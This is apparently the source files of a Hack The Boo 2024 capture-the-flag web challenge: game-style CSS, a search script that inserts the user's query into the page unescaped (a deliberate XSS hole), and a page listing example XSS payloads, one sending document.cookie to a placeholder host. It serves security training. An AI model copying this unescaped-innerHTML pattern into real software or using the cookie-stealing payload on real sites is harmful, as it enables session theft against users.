||||
/* color and border */
|
||||
color: white;
|
||||
font-weight: 1;
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
font-size: 1.0em;
|
||||
text-decoration: underline;
|
||||
/* center text */
|
||||
text-align: center;
|
||||
/* padding */
|
||||
padding: 0 0 0 0;
|
||||
margin: 7px 7px 17px 7px; }
|
||||
|
||||
/* default p */
|
||||
.rpgui-content p {
|
||||
/* color and border */
|
||||
color: white;
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
font-size: 1.0em;
|
||||
line-height: 22px; }
|
||||
|
||||
/* default span */
|
||||
.rpgui-content span {
|
||||
/* color and border */
|
||||
color: white;
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
font-size: 1.0em;
|
||||
line-height: 22px; }
|
||||
|
||||
/* default gui link */
|
||||
.rpgui-content a {
|
||||
/* color and border */
|
||||
color: yellow;
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
font-size: 1.0em;
|
||||
line-height: 22px;
|
||||
text-decoration: none; }
|
||||
|
||||
/* default gui link */
|
||||
.rpgui-content a:hover {
|
||||
text-decoration: underline; }
|
||||
|
||||
/* default gui label */
|
||||
.rpgui-content label {
|
||||
/* color and border */
|
||||
color: white;
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
font-size: 1.0em;
|
||||
line-height: 20px;
|
||||
display: inline; }
|
||||
|
||||
/* default gui label */
|
||||
.rpgui-content li {
|
||||
/* color and border */
|
||||
margin-left: 20px;
|
||||
color: white;
|
||||
text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black;
|
||||
font-size: 1.0em;
|
||||
line-height: 22px; }
|
||||
|
||||
/*
|
||||
* progress bar styling
|
||||
*/
|
||||
/* progress bar container */
|
||||
.rpgui-progress {
|
||||
height: 42px;
|
||||
width: 100%;
|
||||
margin-top: 5px;
|
||||
margin-bottom: 5px;
|
||||
position: relative; }
|
||||
|
||||
/* progress bar left edge */
|
||||
.rpgui-progress-left-edge {
|
||||
position: absolute;
|
||||
height: 42px;
|
||||
width: 40px;
|
||||
left: 0px;
|
||||
background-image: url("img/progress-bar-left.png");
|
||||
background-size: 100% 100%; }
|
||||
|
||||
/* progress bar right edge */
|
||||
.rpgui-progress-right-edge {
|
||||
position: absolute;
|
||||
height: 42px;
|
||||
width: 40px;
|
||||
right: 0px;
|
||||
background-image: url("img/progress-bar-right.png");
|
||||
background-size: 100% 100%; }
|
||||
|
||||
/* progress bar background track */
|
||||
.rpgui-progress-track {
|
||||
position: absolute;
|
||||
height: 42px;
|
||||
left: 40px;
|
||||
right: 40px;
|
||||
background-image: url("img/progress-bar-track.png");
|
||||
background-repeat: repeat-x;
|
||||
background-size: 36px 100%; }
|
||||
|
||||
/* progress bar - the fill itself */
|
||||
.rpgui-progress-fill {
|
||||
position: absolute;
|
||||
top: 9px;
|
||||
bottom: 8px;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
background-image: url("img/progress.png");
|
||||
background-repeat: repeat-x;
|
||||
background-size: 36px 100%; }
|
||||
|
||||
/* progress bar - blue color */
|
||||
.rpgui-progress-fill.blue {
|
||||
background-image: url("img/progress-blue.png"); }
|
||||
|
||||
/* progress bar - green color */
|
||||
.rpgui-progress-fill.green {
|
||||
background-image: url("img/progress-green.png"); }
|
||||
|
||||
/* progress bar - red color */
|
||||
.rpgui-progress-fill.red {
|
||||
background-image: url("img/progress-red.png"); }
|
||||
|
||||
/**
|
||||
* style for radioes
|
||||
*/
|
||||
/* radio box */
|
||||
.rpgui-content input[type=radio].rpgui-radio {
|
||||
display: none; }
|
||||
|
||||
.rpgui-content input[type=radio].rpgui-radio + label {
|
||||
background: url("img/radio-off.png") no-repeat;
|
||||
line-height: 24px;
|
||||
display: inline-block;
|
||||
background-size: auto 100%;
|
||||
padding-left: 34px;
|
||||
height: 24px;
|
||||
margin-top: 8px;
|
||||
margin-bottom: 8px; }
|
||||
|
||||
.rpgui-content input[type=radio].rpgui-radio:checked + label {
|
||||
background: url("img/radio-on.png") no-repeat;
|
||||
line-height: 24px;
|
||||
display: inline-block;
|
||||
background-size: auto 100%;
|
||||
padding-left: 34px;
|
||||
height: 24px; }
|
||||
|
||||
/* golden radio */
|
||||
.rpgui-content .rpgui-radio.golden + label {
|
||||
background: url("img/radio-golden-off.png") no-repeat !important;
|
||||
background-size: auto 100% !important; }
|
||||
|
||||
.rpgui-content .rpgui-radio.golden:checked + label {
|
||||
background: url("img/radio-golden-on.png") no-repeat !important;
|
||||
background-size: auto 100% !important; }
|
||||
|
||||
/**
|
||||
* Rules for misc and general things.
|
||||
*/
|
||||
/* set scrollbars for webkit browsers (like chrome) */
|
||||
.rpgui-content ::-webkit-scrollbar,
|
||||
.rpgui-content::-webkit-scrollbar {
|
||||
width: 18px; }
|
||||
|
||||
/* Track */
|
||||
.rpgui-content ::-webkit-scrollbar-track,
|
||||
.rpgui-content::-webkit-scrollbar-track {
|
||||
background-image: url("img/scrollbar-track.png");
|
||||
background-size: 18px 60px;
|
||||
background-repeat: repeat-y; }
|
||||
|
||||
/* Handle */
|
||||
.rpgui-content ::-webkit-scrollbar-thumb,
|
||||
.rpgui-content::-webkit-scrollbar-thumb {
|
||||
background-image: url("img/scrollbar-thumb.png");
|
||||
background-size: 100% 100%;
|
||||
background-repeat: no-repeat; }
|
||||
|
||||
/* buttons */
|
||||
.rpgui-content ::-webkit-scrollbar-button,
|
||||
.rpgui-content::-webkit-scrollbar-button {
|
||||
background-image: url("img/scrollbar-button.png");
|
||||
background-size: 100% 100%;
|
||||
background-repeat: no-repeat; }
|
||||
|
||||
/**
|
||||
* for disabled elements
|
||||
*/
|
||||
/* disabled object */
|
||||
.rpgui-disabled,
|
||||
.rpgui-content :disabled,
|
||||
.rpgui-content input[type=radio]:disabled + label,
|
||||
.rpgui-content input[type=checkbox]:disabled + label,
|
||||
.rpgui-content input[type=range]:disabled + .rpgui-slider-container,
|
||||
.rpgui-content :disabled + .rpgui-dropdown-imp,
|
||||
.rpgui-content :disabled + .rpgui-dropdown-imp + .rpgui-dropdown-imp,
|
||||
.rpgui-content :disabled + .rpgui-list-imp {
|
||||
cursor: url("img/cursor/default.png"), auto;
|
||||
-webkit-filter: grayscale(1);
|
||||
-webkit-filter: grayscale(100%);
|
||||
filter: grayscale(100%);
|
||||
filter: url(#greyscale);
|
||||
filter: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'><filter id='grayscale'><feColorMatrix type='matrix' values='0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0'/></filter></svg>#grayscale");
|
||||
filter: gray;
|
||||
color: #999; }
|
||||
|
||||
/**
|
||||
* Rules for the slider.
|
||||
*/
|
||||
/* regular slider stuff */
|
||||
/* slider container */
|
||||
.rpgui-slider-container {
|
||||
height: 20px;
|
||||
width: 100%;
|
||||
margin-top: 15px;
|
||||
margin-bottom: 15px;
|
||||
position: relative; }
|
||||
|
||||
/* slider left edge */
|
||||
.rpgui-slider-left-edge {
|
||||
position: absolute;
|
||||
height: 20px;
|
||||
width: 20px;
|
||||
left: 0px;
|
||||
background-image: url("img/slider-left.png");
|
||||
background-size: 100% 100%; }
|
||||
|
||||
/* slider right edge */
|
||||
.rpgui-slider-right-edge {
|
||||
position: absolute;
|
||||
height: 20px;
|
||||
width: 20px;
|
||||
right: 0px;
|
||||
background-image: url("img/slider-right.png");
|
||||
background-size: 100% 100%; }
|
||||
|
||||
/* slider background track */
|
||||
.rpgui-slider-track {
|
||||
position: absolute;
|
||||
height: 20px;
|
||||
left: 0;
|
||||
right: 0;
|
||||
background-image: url("img/slider-track.png");
|
||||
background-repeat: repeat-x;
|
||||
background-size: 24px 100%; }
|
||||
|
||||
/* the part of the slider that moves and indicates the value */
|
||||
.rpgui-slider-thumb {
|
||||
position: absolute;
|
||||
height: 30px;
|
||||
width: 15px;
|
||||
margin-top: -5px;
|
||||
left: 40px;
|
||||
background-image: url("img/slider-thumb.png");
|
||||
background-size: 100% 100%; }
|
||||
|
||||
/* golden slider stuff */
|
||||
/* golden slider container */
|
||||
.rpgui-slider-container.golden {
|
||||
height: 30px;
|
||||
width: 100%;
|
||||
margin-top: 15px;
|
||||
margin-bottom: 15px;
|
||||
position: relative; }
|
||||
|
||||
/* golden slider left edge */
|
||||
.rpgui-slider-left-edge.golden {
|
||||
position: absolute;
|
||||
height: 30px;
|
||||
width: 30px;
|
||||
left: 0px;
|
||||
background-image: url("img/slider-left-golden.png");
|
||||
background-size: 100% 100%; }
|
||||
|
||||
/* golden slider right edge */
|
||||
.rpgui-slider-right-edge.golden {
|
||||
position: absolute;
|
||||
height: 30px;
|
||||
width: 30px;
|
||||
right: 0px;
|
||||
background-image: url("img/slider-right-golden.png");
|
||||
background-size: 100% 100%; }
|
||||
|
||||
/* golden slider background track */
|
||||
.rpgui-slider-track.golden {
|
||||
position: absolute;
|
||||
height: 30px;
|
||||
left: 0;
|
||||
right: 0;
|
||||
background-image: url("img/slider-track-golden.png");
|
||||
background-repeat: repeat-x;
|
||||
background-size: 40px 100%; }
|
||||
|
||||
/* golden the part of the slider that moves and indicates the value */
|
||||
.rpgui-slider-thumb.golden {
|
||||
position: absolute;
|
||||
height: 36px;
|
||||
width: 18px;
|
||||
margin-top: -4px;
|
||||
left: 40px;
|
||||
background-image: url("img/slider-thumb-golden.png");
|
||||
background-size: 100% 100%; }
|
After Width: | Height: | Size: 397 KiB |
After Width: | Height: | Size: 288 KiB |
After Width: | Height: | Size: 273 KiB |
After Width: | Height: | Size: 237 KiB |
After Width: | Height: | Size: 343 KiB |
|
@ -0,0 +1,137 @@
|
|||
document.addEventListener("DOMContentLoaded", function () {
|
||||
const articles = [
|
||||
{
|
||||
name: "The Witch's Curse",
|
||||
description:
|
||||
"Explore the eerie tale of the infamous witch of Raven Hollow, whose curse turned an entire village into shadows. Unravel the dark history and learn about the brave souls who sought to lift the curse.",
|
||||
author: "Xclow3n",
|
||||
image: "/static/images/one.webp",
|
||||
},
|
||||
{
|
||||
name: "Haunted Woods of Dreadfall",
|
||||
description:
|
||||
"Journey into the haunted forest where lost souls wander and strange creatures lurk. Discover the chilling stories behind those who entered Dreadfall and never returned.",
|
||||
author: "Xclow3n",
|
||||
image: "/static/images/second.webp",
|
||||
},
|
||||
{
|
||||
name: "The Phantom's Lament",
|
||||
description:
|
||||
"Listen to the tragic tale of the Phantom of Blackmoor Manor, who roams the halls in search of a long-lost love. This article delves deep into the ghostly appearances and the spine-tingling encounters within the manor.",
|
||||
author: "Xclow3n",
|
||||
image: "/static/images/third.webp",
|
||||
},
|
||||
{
|
||||
name: "The Blood Moon Awakening",
|
||||
description:
|
||||
"On a night when the blood moon rises, the ancient vampires of the Nightshade clan awaken from their centuries-long slumber. Emerging from their crypts, these fearsome beings once terrorized the realm with their insatiable thirst for blood. Cloaked in the shadows of the graveyard, their red eyes pierce the darkness, and their fangs gleam under the crimson light of the moon. Legends say that on nights like these, the Nightshade vampires gather to plan their return, their influence growing as the moon turns red. This article delves into the origins of the blood moon awakening and the vampire hunters sworn to stop them.",
|
||||
author: "Xclow3n",
|
||||
image: "/static/images/fourth.webp",
|
||||
},
|
||||
{
|
||||
name: "The Pumpkin King's Return",
|
||||
description:
|
||||
"Every century, the Pumpkin King rises from his cursed slumber to wreak havoc during the harvest festival. This article traces the origins of the Pumpkin King and the forgotten rituals used to seal him away.",
|
||||
author: "Xclow3n",
|
||||
image: "/static/images/fifth.webp",
|
||||
},
|
||||
];
|
||||
|
||||
const articlesContainer = document.querySelector(".articles-container");
|
||||
const searchInput = document.querySelector(
|
||||
'input[placeholder="Search the Shadows..."]',
|
||||
);
|
||||
const searchButton = document.getElementById("searchBTN");
|
||||
const searchResultsHeading = document.createElement("h2");
|
||||
|
||||
searchInput.parentNode.parentNode.appendChild(searchResultsHeading);
|
||||
|
||||
// Function to render the filtered articles
|
||||
function renderArticles(filteredArticles) {
|
||||
articlesContainer.innerHTML = ""; // Clear the current articles
|
||||
filteredArticles.forEach((article) => {
|
||||
const articleElement = document.createElement("div");
|
||||
articleElement.classList.add("rpgui-container", "framed-golden-2");
|
||||
articleElement.style.marginBottom = "20px";
|
||||
|
||||
articleElement.innerHTML = `
|
||||
<div class="content">
|
||||
<img src="${article.image}" />
|
||||
<div style="margin-left: 10px; color: #f8e9c4;">
|
||||
<h4 style="color: white; font-size: 24px;">${article.name}</h4>
|
||||
<p style="font-size: 14px; margin: 10px 0;">${article.description}</p>
|
||||
<p style="font-size: 14px; font-style: italic;">Author: ${article.author}</p>
|
||||
<button style="height: 30px;" class="rpgui-button">View</button>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
articlesContainer.appendChild(articleElement);
|
||||
});
|
||||
}
|
||||
|
||||
// Function to filter the articles based on the query
|
||||
function filterArticles(query) {
|
||||
const lowerCaseQuery = query.toLowerCase();
|
||||
return articles.filter(
|
||||
(article) =>
|
||||
article.name.toLowerCase().includes(lowerCaseQuery) ||
|
||||
article.description.toLowerCase().includes(lowerCaseQuery) ||
|
||||
article.author.toLowerCase().includes(lowerCaseQuery),
|
||||
);
|
||||
}
|
||||
|
||||
// Function to trigger the search and render the results
|
||||
function applySearch(query) {
|
||||
const filteredArticles = filterArticles(query);
|
||||
|
||||
// Update search results heading
|
||||
if (query.trim() !== "") {
|
||||
searchResultsHeading.innerHTML = `Results for: "${query}"`;
|
||||
searchResultsHeading.style.display = "block";
|
||||
} else {
|
||||
searchResultsHeading.style.display = "none";
|
||||
}
|
||||
|
||||
renderArticles(filteredArticles); // Render filtered articles
|
||||
}
|
||||
|
||||
// Function to handle the click on the search button
|
||||
searchButton.addEventListener("click", function () {
|
||||
const query = searchInput.value;
|
||||
|
||||
// First render the articles
|
||||
applySearch(query);
|
||||
|
||||
// Then send the fetch request to trigger the bot
|
||||
fetch("/search", {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
body: JSON.stringify({ query }),
|
||||
})
|
||||
.then((response) => response.json())
|
||||
.then((data) => {
|
||||
console.log("Bot triggered:", data.message);
|
||||
})
|
||||
.catch((error) => {
|
||||
console.error("Error triggering bot:", error);
|
||||
});
|
||||
});
|
||||
|
||||
// Check if there's a `q` query parameter in the URL and trigger search if it exists
|
||||
const urlParams = new URLSearchParams(window.location.search);
|
||||
const queryParam = urlParams.get("q");
|
||||
|
||||
if (queryParam) {
|
||||
// Set the search input value to the query parameter
|
||||
searchInput.value = queryParam;
|
||||
|
||||
// Trigger search based on the query parameter without sending a fetch request
|
||||
applySearch(queryParam);
|
||||
}
|
||||
|
||||
// Initial load: render all articles
|
||||
renderArticles(articles);
|
||||
});
|
526
htb/hacktheboo2024/web/web_phantom_script/challenge/views/home.html
Executable file
|
@ -0,0 +1,526 @@
|
|||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>Haunted Scrolls</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<link href="/static/css/rpgui.css" rel="stylesheet" type="text/css" />
|
||||
<script src="/static/js/rpgui.js"></script>
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" />
|
||||
<script src="/socket.io/socket.io.js"></script>
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://fonts.googleapis.com/css2?family=Inter&family=Source+Code+Pro&display=swap"
|
||||
/>
|
||||
|
||||
<link
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.25.0/themes/prism.min.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
</head>
|
||||
<style>
|
||||
.modalx {
|
||||
display: none;
|
||||
position: fixed;
|
||||
z-index: 1000;
|
||||
left: 0;
|
||||
top: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0, 0, 0, 0.8);
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.modalx .modal-content {
|
||||
padding: 20px;
|
||||
background-color: #4c2a1a;
|
||||
border-radius: 10px;
|
||||
width: 40%; /* Decreased width */
|
||||
max-width: 600px; /* Maximum width on larger screens */
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.modalx .modal-content h2 {
|
||||
font-family: "MedievalSharp", sans-serif;
|
||||
color: #d4af37;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.modalx .modal-content p {
|
||||
color: #f8e9c4;
|
||||
font-family: "MedievalSharp", sans-serif;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.modalx .close-modal {
|
||||
cursor: pointer;
|
||||
padding: 10px 20px;
|
||||
background-color: #d4af37;
|
||||
border-radius: 5px;
|
||||
border: none;
|
||||
font-family: "MedievalSharp", sans-serif;
|
||||
line-height: 0px; /* Adjusted as per your request */
|
||||
}
|
||||
|
||||
.outer {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
position: relative;
|
||||
top: 40%;
|
||||
}
|
||||
|
||||
* {
|
||||
color: white;
|
||||
}
|
||||
|
||||
.token.operator {
|
||||
background: none;
|
||||
}
|
||||
|
||||
.container {
|
||||
display: flex;
|
||||
background-color: #444;
|
||||
height: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
body {
|
||||
padding: unset !important;
|
||||
background: #222 !important;
|
||||
height: 98vh;
|
||||
width: 100vw;
|
||||
}
|
||||
|
||||
.container__left {
|
||||
width: 60%;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
overflow: hidden;
|
||||
height: 100%;
|
||||
position: relative;
|
||||
/* Add this */
|
||||
}
|
||||
|
||||
.resizer {
|
||||
background-image: url("/static/css/img/scrollbar-track.png");
|
||||
cursor: ew-resize;
|
||||
height: 100%;
|
||||
width: 14px;
|
||||
}
|
||||
|
||||
.resizerHori {
|
||||
background-image: url("/static/css/img/slider-track-golden.png");
|
||||
cursor: row-resize;
|
||||
height: 10px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.container__right {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
flex: 1;
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
.right-top {
|
||||
height: 50%;
|
||||
}
|
||||
|
||||
.right-bottom {
|
||||
flex: 1;
|
||||
background: #444;
|
||||
overflow: auto;
|
||||
-ms-overflow-style: none; /* Internet Explorer 10+ */
|
||||
scrollbar-width: none; /* Firefox */
|
||||
}
|
||||
|
||||
.right-bottom::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.articles-container {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
flex-grow: 1;
|
||||
/* Allow the container to take remaining space */
|
||||
overflow-y: auto;
|
||||
/* Make it scrollable */
|
||||
width: 100%;
|
||||
-ms-overflow-style: none; /* Internet Explorer 10+ */
|
||||
scrollbar-width: none; /* Firefox */
|
||||
}
|
||||
|
||||
.articles-container::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.rpgui-container {
|
||||
position: relative;
|
||||
width: 90%;
|
||||
background-color: #4c2a1a;
|
||||
padding: 20px;
|
||||
border-radius: 10px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.content {
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.content img {
|
||||
height: 200px;
|
||||
border: 2px solid #d4af37;
|
||||
border-radius: 5px;
|
||||
margin-right: 20px;
|
||||
}
|
||||
|
||||
.content div {
|
||||
margin-left: 10px;
|
||||
color: #f8e9c4;
|
||||
font-family: "MedievalSharp", sans-serif;
|
||||
}
|
||||
|
||||
.content h4 {
|
||||
color: white;
|
||||
font-size: 24px;
|
||||
}
|
||||
|
||||
.content p {
|
||||
font-size: 14px;
|
||||
margin: 10px 0;
|
||||
}
|
||||
|
||||
.content p.italic {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.rpgui-button {
|
||||
height: 30px;
|
||||
}
|
||||
|
||||
.search-bar-container {
|
||||
padding: 20px;
|
||||
text-align: center;
|
||||
flex-shrink: 0;
|
||||
width: 90%;
|
||||
/* Prevent the search bar from shrinking */
|
||||
}
|
||||
|
||||
.token.tag {
|
||||
color: #53e1f0 !important;
|
||||
}
|
||||
|
||||
/* Updated Code Block for wrapping long lines */
|
||||
pre {
|
||||
white-space: pre-wrap; /* Allows text to wrap */
|
||||
word-wrap: break-word; /* Breaks long words */
|
||||
overflow-wrap: break-word; /* For better control */
|
||||
}
|
||||
</style>
|
||||
|
||||
<body class="rpgui-container framed" style="width: 100%">
|
||||
<!-- Modal HTML -->
|
||||
<div style="display: none" class="modalx" id="showFlag">
|
||||
<div class="outer">
|
||||
<div class="modal-content rpgui-container framed-golden">
|
||||
<h2>Spooky Surprise</h2>
|
||||
<p id="flag"></p>
|
||||
<button id="closeBtnFlag" class="close-modal rpgui-button">
|
||||
Close
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
<div class="container__left">
|
||||
<div class="search-bar-container">
|
||||
<div>
|
||||
<h1>Haunted Scrolls</h1>
|
||||
</div>
|
||||
|
||||
<div style="display: grid !important">
|
||||
<div
|
||||
class="rpgui-content"
|
||||
style="position: relative !important; display: flex"
|
||||
>
|
||||
<input
|
||||
id="searchInput"
|
||||
placeholder="Search the Shadows..."
|
||||
/>
|
||||
<button
|
||||
id="searchBTN"
|
||||
class="rpgui-button"
|
||||
style="height: 100%"
|
||||
>
|
||||
Search
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="articles-container"></div>
|
||||
</div>
|
||||
<div class="resizer" id="dragMe"></div>
|
||||
<div class="container__right">
|
||||
<div class="right-top" style="text-align: center">
|
||||
<h3>Cursed Code Block</h3>
|
||||
<pre
|
||||
style="background: transparent; padding-top: unset"
|
||||
><code style="color: white; text-shadow: none;" id="code-block" class="language-javascript">
|
||||
searchInput.addEventListener('input', function () {
|
||||
const query = searchInput.value;
|
||||
if (query.trim() !== "") {
|
||||
const filteredArticles = filterArticles(query);
|
||||
searchResultsHeading.innerHTML = `Results for: "${query}"`;
|
||||
searchResultsHeading.style.display = 'block';
|
||||
renderArticles(filteredArticles);
|
||||
} else {
|
||||
searchResultsHeading.style.display = 'none';
|
||||
renderArticles(articles);
|
||||
}
|
||||
});
|
||||
</code></pre>
|
||||
</div>
|
||||
<div class="resizerHori" id="dragMeH"></div>
|
||||
<div style="text-align: center" class="right-bottom">
|
||||
<h1>Spooky Documentation</h1>
|
||||
|
||||
<div
|
||||
style="
|
||||
text-align: start;
|
||||
padding: 10px;
|
||||
padding-top: unset;
|
||||
"
|
||||
>
|
||||
<h2>Challenge Objective</h2>
|
||||
|
||||
<p>
|
||||
Your objective is to identify and the XSS
|
||||
vulnerability lurking in the shadows of the search
|
||||
feature and pop an alert box.
|
||||
</p>
|
||||
|
||||
<h3>Application Structure</h3>
|
||||
|
||||
<p>
|
||||
The application consists of the following haunted
|
||||
components:
|
||||
</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<strong>Search Feature:</strong> This is where
|
||||
the cursed XSS vulnerability resides. It accepts
|
||||
user input and displays search results based on
|
||||
the query provided.
|
||||
</li>
|
||||
<li>
|
||||
<strong>Articles Section:</strong> This section
|
||||
contains various ghostly articles that the
|
||||
search feature filters through based on the
|
||||
user's input.
|
||||
</li>
|
||||
<li>
|
||||
<strong>Cursed Code Block:</strong> This section
|
||||
of the application displays the actual code
|
||||
responsible for rendering search results,
|
||||
allowing you to identify potential security
|
||||
flaws.
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<h3>Example Payloads</h3>
|
||||
|
||||
<p>
|
||||
Below are a few spooky payloads to get you started:
|
||||
</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
Basic XSS Payload:
|
||||
<pre
|
||||
style="
|
||||
padding: 0px;
|
||||
background: transparent;
|
||||
"
|
||||
><code class="language-html" style="text-shadow: none;"><script>alert('Boo!');</script></code></pre>
|
||||
<pre
|
||||
style="
|
||||
padding: 0px;
|
||||
background: transparent;
|
||||
"
|
||||
><code class="language-html" style="text-shadow: none;"><script>fetch('[host]')</script></code></pre>
|
||||
</li>
|
||||
<li>
|
||||
More Diabolical Payload:
|
||||
<pre
|
||||
style="
|
||||
padding: 0px;
|
||||
background: transparent;
|
||||
"
|
||||
><code class="language-html" style="text-shadow: none;"><img src=x onerror="alert('Boo!')"></code></pre>
|
||||
<pre
|
||||
style="
|
||||
padding: 0px;
|
||||
background: transparent;
|
||||
"
|
||||
><code class="language-html" style="text-shadow: none;"><img src=x onerror="fetch('[HOST]' + document.cookie)" /></code></pre>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<h3>Additional Tips</h3>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
Pay attention to the haunted HTML and JavaScript
|
||||
code. The context in which your payload is
|
||||
executed will determine its effectiveness.
|
||||
</li>
|
||||
<li>
|
||||
Experiment with different sinister payloads to
|
||||
see how the application responds. Some might be
|
||||
blocked by ancient wards, while others may slip
|
||||
through.
|
||||
</li>
|
||||
<li>
|
||||
Use developer tools to test and debug your evil
|
||||
payloads.
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<p>Good luck, and beware the curse of broken code!</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function () {
|
||||
const resizer = document.getElementById("dragMe");
|
||||
const leftSide = resizer.previousElementSibling;
|
||||
const rightSide = resizer.nextElementSibling;
|
||||
let x = 0;
|
||||
let y = 0;
|
||||
let leftWidth = 0;
|
||||
|
||||
const mouseDownHandler = function (e) {
|
||||
x = e.clientX;
|
||||
y = e.clientY;
|
||||
leftWidth = leftSide.getBoundingClientRect().width;
|
||||
document.addEventListener("mousemove", mouseMoveHandler);
|
||||
document.addEventListener("mouseup", mouseUpHandler);
|
||||
};
|
||||
|
||||
const mouseMoveHandler = function (e) {
|
||||
const dx = e.clientX - x;
|
||||
const newLeftWidth =
|
||||
((leftWidth + dx) * 100) /
|
||||
resizer.parentNode.getBoundingClientRect().width;
|
||||
leftSide.style.width = `${newLeftWidth}%`;
|
||||
resizer.style.cursor = "col-resize";
|
||||
document.body.style.cursor = "col-resize";
|
||||
leftSide.style.userSelect = "none";
|
||||
leftSide.style.pointerEvents = "none";
|
||||
rightSide.style.userSelect = "none";
|
||||
rightSide.style.pointerEvents = "none";
|
||||
};
|
||||
|
||||
const mouseUpHandler = function () {
|
||||
resizer.style.removeProperty("cursor");
|
||||
document.body.style.removeProperty("cursor");
|
||||
leftSide.style.removeProperty("user-select");
|
||||
leftSide.style.removeProperty("pointer-events");
|
||||
rightSide.style.removeProperty("user-select");
|
||||
rightSide.style.removeProperty("pointer-events");
|
||||
document.removeEventListener("mousemove", mouseMoveHandler);
|
||||
document.removeEventListener("mouseup", mouseUpHandler);
|
||||
};
|
||||
|
||||
resizer.addEventListener("mousedown", mouseDownHandler);
|
||||
});
|
||||
|
||||
document.addEventListener("DOMContentLoaded", function () {
|
||||
const resizer = document.getElementById("dragMeH");
|
||||
const topSide = resizer.previousElementSibling;
|
||||
const bottom = resizer.nextElementSibling;
|
||||
let x = 0;
|
||||
let y = 0;
|
||||
let topHeight = 0;
|
||||
|
||||
const mouseDownHandler = function (e) {
|
||||
x = e.clientX;
|
||||
y = e.clientY;
|
||||
topHeight = topSide.getBoundingClientRect().height;
|
||||
document.addEventListener("mousemove", mouseMoveHandler);
|
||||
document.addEventListener("mouseup", mouseUpHandler);
|
||||
};
|
||||
|
||||
const mouseMoveHandler = function (e) {
|
||||
const dy = e.clientY - y;
|
||||
const newTopHeight =
|
||||
((topHeight + dy) * 100) /
|
||||
resizer.parentNode.getBoundingClientRect().height;
|
||||
topSide.style.height = `${newTopHeight}%`;
|
||||
resizer.style.cursor = "row-resize";
|
||||
document.body.style.cursor = "row-resize";
|
||||
topSide.style.userSelect = "none";
|
||||
topSide.style.pointerEvents = "none";
|
||||
bottom.style.userSelect = "none";
|
||||
bottom.style.pointerEvents = "none";
|
||||
};
|
||||
|
||||
const mouseUpHandler = function () {
|
||||
resizer.style.removeProperty("cursor");
|
||||
document.body.style.removeProperty("cursor");
|
||||
topSide.style.removeProperty("user-select");
|
||||
topSide.style.removeProperty("pointer-events");
|
||||
bottom.style.removeProperty("user-select");
|
||||
bottom.style.removeProperty("pointer-events");
|
||||
document.removeEventListener("mousemove", mouseMoveHandler);
|
||||
document.removeEventListener("mouseup", mouseUpHandler);
|
||||
};
|
||||
|
||||
resizer.addEventListener("mousedown", mouseDownHandler);
|
||||
});
|
||||
</script>
|
||||
|
||||
<script>
|
||||
const socket = io();
|
||||
|
||||
socket.on("connect", () => {
|
||||
console.log("Socket.io connection established");
|
||||
});
|
||||
|
||||
socket.on("welcome", (message) => {
|
||||
console.log(message);
|
||||
});
|
||||
|
||||
socket.on("message", (data) => {
|
||||
console.log("Received message:", data);
|
||||
});
|
||||
|
||||
socket.on("flag", (data) => {
|
||||
console.log("Flag received:", data.flag);
|
||||
let modal = document.getElementById("showFlag");
|
||||
let flag = document.getElementById("flag");
|
||||
let closeBtn = document.getElementById("closeBtnFlag");
|
||||
|
||||
flag.innerHTML = data.flag;
|
||||
modal.style.display = "block";
|
||||
closeBtn.addEventListener("click", function () {
|
||||
modal.style.display = "none";
|
||||
});
|
||||
});
|
||||
</script>
|
||||
